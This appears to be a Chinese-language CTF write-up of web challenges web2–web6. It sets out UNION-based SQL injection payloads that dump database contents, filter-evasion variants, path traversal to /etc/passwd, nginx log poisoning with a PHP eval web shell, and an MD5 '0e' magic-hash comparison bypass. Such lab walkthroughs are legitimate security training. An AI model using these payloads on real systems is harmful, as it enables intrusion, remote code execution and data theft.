web2
1' union select 1,2,3#
注入点在2
1' union select 1,database(),3#
web2
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
flag,user
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#
flag
1' union select 1,group_concat(flag),3 from flag#
web3
一道文件包含题,get ?url
先测试一下
?url=../../../../../../../etc/passwd
那么我们试试伪协议 php://input post提交命令
但是没有反应,bp试试
bp有反应,ctf_go_go_go应该就是flag所在的文件了
web4
?url=../../../../../../../etc/passwd
依旧有回显,那么还是文件包含
但是php貌似被过滤了
于是日志注入
?url=/var/log/nginx/access.log
然后注入一句话木马
为了防止url编码,需要使用burp
如果直接在url里面插入一句话会返回:
400 Bad Request
因此只能在burp的AG参数里面插入一句话
<?php eval($_POST['hack']);?>
然后蚁剑连接就行了
web5
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
“0E”开头的哈希值都解释为0
所以只要v1与v2的md5值以0E开头即可。
v1=QNKCDZO&v2=240610708
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
web6
sql注入
1' or 1=1#
应该是有过滤,检测之后过滤的是空格
1'/**/or/**/1=1#
1'/**/union/**/select/**/1,2,3#
1'/**/union/**/select/**/1,database(),3#
1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
1'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#